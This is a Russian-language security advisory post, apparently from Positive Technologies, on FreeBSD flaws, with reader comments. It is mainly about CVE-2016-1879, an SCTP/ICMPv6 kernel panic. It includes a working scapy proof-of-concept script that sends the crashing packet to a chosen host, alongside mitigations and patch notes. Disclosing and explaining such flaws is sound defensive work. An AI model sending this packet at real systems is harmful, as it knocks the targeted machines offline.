Команда проекта FreeBSD сообщает, что в операционной системе обнаружен ряд критически опасных уязвимостей, позволяющих злоумышленникам проводить атаки, направленные на отказ в обслуживании, повышать привилегии и раскрывать важные данные.

Уязвимость, связанная с некорректной обработкой сообщений ICMPv6 в стеке SCTP (CVE-2016-1879)


SCTP (Stream Control Transmission Protocol — «протокол передачи с управлением потоком») — это протокол транспортного уровня, который разработан для передачи сообщений сигнализации телефонных сетей в IP-среде. В основном данный протокол используется в технологических сетях операторов связи.

Этой уязвимости подвержены версии FreeBSD 9.3, 10.1 и 10.2 в том случае, если они сконфигурированы с поддержкой протоколов SCTP и IPv6 (конфигурация по умолчанию). Для эксплуатации ошибки злоумышленнику требуется отправить специально сформированное сообщение ICMPv6. Успешная эксплуатация позволяет реализовать атаку на отказ в обслуживании (DoS).

DoS возникает из-за недостаточной проверки длины заголовка SCTP-пакета, полученного в ICMPv6-сообщении об ошибке. Когда адресат недоступен, маршрутизатор может сгенерировать сообщение об ошибке и переслать его отправителю через ICMPv6.

В такой ICMPv6-пакет вложен оригинальный IPv6-пакет, в котором поле Next Header указывает на то, как протокол верхнего уровня инкапсулируется. В данном случае это SCTP.



Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()).

Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()). Обработчик SCTP предполагает, что входной пакет содержит заголовок достаточной длины, пытается скопировать его с помощью m_copydata(), в которую передаются значения смещения и количество байтов, которое требуется считать. Поскольку ожидается блок данных размером 12 байт, если отправить пакет с SCTP-заголовком меньше 12 байт, то происходит разыменование нулевого указателя, что вызывает критический сбой ядра системы (kernel panic).

Для эксплуатации уязвимости наличие открытого SCTP-сокета необязательно.
Создать ICMPv6-пакет для осуществления атаки можно с помощью scapy. На Хабре немало статей, посвященных этому мощному инструменту (например, эта и эта статьи).

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
import argparse
from scapy.all import *
 
 
def get_args():
    parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I", "--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
 
if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface)

Видеодемонстрация атаки:



Для того чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует сделать следующее:

  • отключить IPv6-адресацию, если она не требуется;
  • заблокировать трафик ICMPv6 или IPv6 на межсетевом экране;
  • отключить поддержку стека SCTP в ядре операционной системы — если он не нужен (потребуется перекомпиляция ядра).

Для устранения уязвимости можно использовать патч от производителя, который вносит дополнительные проверки в обработку ICMPv6-сообщений в SCTP-стек. И нужно будет перекомпилировать ядро.

Это еще не все


Помимо этого, в системе обнаружен еще целый ряд серьезных уязвимостей. Разработчики FreeBSD выпустили несколько патчей, устраняющих эти ошибки:

  1. Уязвимость, позволяющая осуществить DoS-атаку из-за ошибки, возникающей при обработке соединений TCP с включенными опциями сокета TCP_MD5SIG и TCP_NOOPT. Для успешной эксплуатации злоумышленнику необходимо открыть прослушивающий сокет с включенной опцией TCP_NOOPT. (CVE-2016-1882, патч);
  2. Уязвимость, позволяющая локальному пользователю повысить привилегии или вызвать отказ в обслуживании: это возможно вследствие ошибки контроля доступа, позволяющей перезаписать случайные участки памяти с помощью специально сформированных системных вызовов слоя совместимости Linux setgroups(2). (CVE-2016-1881, патч);
  3. Из-за ошибки в списках Linux robust futex хакеры получают возможность раскрывать данные системной памяти (CVE-2016-1880, патч);
  4. Небезопасные дефолтные настройки безопасности, разрешающие доступ к файлу конфигурации демона bsnmpd “/etc/bsnmpd.conf” (CVE-2015-5677, патч).

Во избежание проблем, связанных с эксплуатацией указанных уязвимостей, эксперты Positive Technologies рекомендуют пользоваться IPv6-адресацией только в том случае, если она требуется для функционирования приложений, своевременно устанавливать обновления безопасности от разработчиков ОС и использовать специализированные инструменты для контроля защищенности системы (например, MaxPatrol) для контроля защищенности системы.

Комментарии (18)


  1. Zolg
    21.01.2016 17:58
    +9

    Ну вот, только успел порадоваться, что наши сервера не на линуксе :):


    1. rauch
      23.01.2016 01:01

      Удивляет, что не «решето» первым комментарием… как же так?


  1. VladimirPesterev
    21.01.2016 18:19
    +9

    Неделя уязвимостей unix.


  1. guai
    21.01.2016 18:29
    +4

    Откуда вы взяли вот это: «SCTP… разработан для передачи сообщений сигнализации телефонных сетей в IP-среде»? Такой же протокол транспортного уровня как TCP и UPD, вернее как нечто среднее, — передача пакетов, а не потока, с гарантированной доставкой. Ничего сугубо для телефонных сетей там нет, насколько я знаю.


    1. WGH
      21.01.2016 22:49
      +3

      Прямо так в RFC написано:

      SCTP is designed to transport Public Switched Telephone Network (PSTN) signaling messages over IP networks, but is capable of broader applications.


  1. ximaera
    21.01.2016 18:48
    +8

    Для того, чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует осуществить следующие действия:

    — Отключить IPv6-адресацию в случае если она не требуется;
    — Заблокировать трафик ICMPv6 или IPv6 на межсетевом экране;

    Во избежание проблем, связанных с эксплуатацией указанных уязвимостей, эксперты Positive Technologies рекомендуют пользоваться IPv6-адресацией только в том случае, если она требуется для функционирования приложений.

    Трололо-пост недели. Вы сейчас джек-пот сорвёте :-)


    1. ValdikSS
      24.01.2016 22:08
      +3

      Заблокировать трафик ICMPv6
      И у нас моментально ломается весь IPv6, т.к. на ICMPv6 возложено гораздо больше функций, нежели на ICMPv4.


      1. ximaera
        24.01.2016 22:14

        А то ICMPv4 можно блокировать безболезненно, что ли? В iptables-extensions(8) про таких сисадминов даже специально написаны ругательные слова:

        TCPMSS
        This target is used to overcome criminally braindead ISPs or servers which block «ICMP Fragmentation Needed» or «ICMPv6 Packet Too Big» packets.


        1. ValdikSS
          24.01.2016 22:18
          +1

          Блокируя ICMPv4, мы, в целом, получим только сломанный Path MTU Discovery, а заблокировав ICMPv6, мы лишимся Router/Neighbor Solicitation/Advertisement, что равносильно блокировке ARP в IPv4.


  1. occam
    21.01.2016 19:49
    -2

    Парни, FB был выпилен из всех продуктивов еще года три назад, и не только у нашего клиента, и не без вашего участия. Вы бы рассказали лучше о своих суперновых products, чем в очередной раз давить на больную мозоль.


  1. simpleadmin
    21.01.2016 20:36
    +6

    Для того, чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует осуществить следующие действия:
    Отключить IPv6-адресацию…


    Да вы страшные люди…

    V. Solution

    Perform one of the following:

    1) Upgrade your vulnerable system to a supported FreeBSD stable or
    release / security branch (releng) dated after the correction date.
    Rebooting to the new kernel is required.

    2) To update your vulnerable system via a binary patch:

    Systems running a RELEASE version of FreeBSD on the i386 or amd64
    platforms can be updated via the freebsd-update(8) utility:
    # freebsd-update fetch
    # freebsd-update install
    


    Rebooting to the new kernel is required.

    3) To update your vulnerable system via a source code patch:

    The following patches have been verified to apply to the applicable
    FreeBSD release branches.

    a) Download the relevant patch from the location below, and verify the
    detached PGP signature using your PGP utility.

    # fetch https://security.FreeBSD.org/patches/SA-16:01/sctp.patch
    # fetch https://security.FreeBSD.org/patches/SA-16:01/sctp.patch.asc
    # gpg --verify sctp.patch.asc
    


    b) Apply the patch. Execute the following commands as root:
    # cd /usr/src
    # patch < /path/to/patch
    


    c) Recompile your kernel as described in
    <URL:https://www.FreeBSD.org/handbook/kernelconfig.html> and reboot the
    system.


  1. antivoland
    22.01.2016 10:45

    Первое что делает админ фрибсд после установки — это пересборка ядра (как минимум, как максимум пересборка системы) с убраными опциями, что не планируются для использования. Это даже рекомендуется для ускорения работы системы. Кто оставляет ядро по умолчанию — сам виноват (это небольшой кирпич в сторону дистрибьютивов линукса).


  1. Zolg
    22.01.2016 11:17
    +2

    И заметно работа ускоряется?


    1. antivoland
      22.01.2016 11:41
      -2

      Да, заметно особенно на слабом железе. Помимо этого добавляются нужные опции(к примеру PF и ALTQ).


      1. Zolg
        22.01.2016 12:13

        Подскажите, что стоит отключить в generic'е, чтобы на измеримую величину поднять производительность типичного вебсервера?

        А добавление нужных опций к отключению ненужных относится весьма опосредственно. PF, кстати, давно в ядре из коробки, а ALTQ на большинстве серверов как бы и ни к чему.


        1. antivoland
          22.01.2016 13:48

          К сожалению подсказать не смогу, веб-серверы у нас на centos. Но шлюз к этим серверам как раз на фрибсд и он прекрасно контролирует все обращения в обе стороны.
          ALTQ на офисном шлюзе применяется — резать особо наглых пользователей. PF в ядре с коробки вкомпилен или модулем, как в старые добрые времена?


          1. Zolg
            22.01.2016 15:51

            Полезность ALTQ на шлюзе никто не оспаривает. Равно как и необходимости пересобирать ядро для его включения. ALTQ затрагивает много чего в ядре, поэтому просто собрать его отдельным модулем не получится.

            И таких вещей на практике не так много встречается и в достаточно специфичных случаях: навскидку кроме ALTQ это VNET/VIMAGE

            В большинстве остальных случаев «пересборка ядра с убраными опциями, что не планируются для использования» — та самая premature optimization которая the root of all evil. Даже на самом слабом железе память давно не считается единицами мегабайт.

            ps:
            pf в generic естественно в виде модуля. это плохо, да?


  1. Jedi-Knight
    22.01.2016 21:12

    как здорово, что сразу после инсталляции, я выпиливал из ядра IPv6…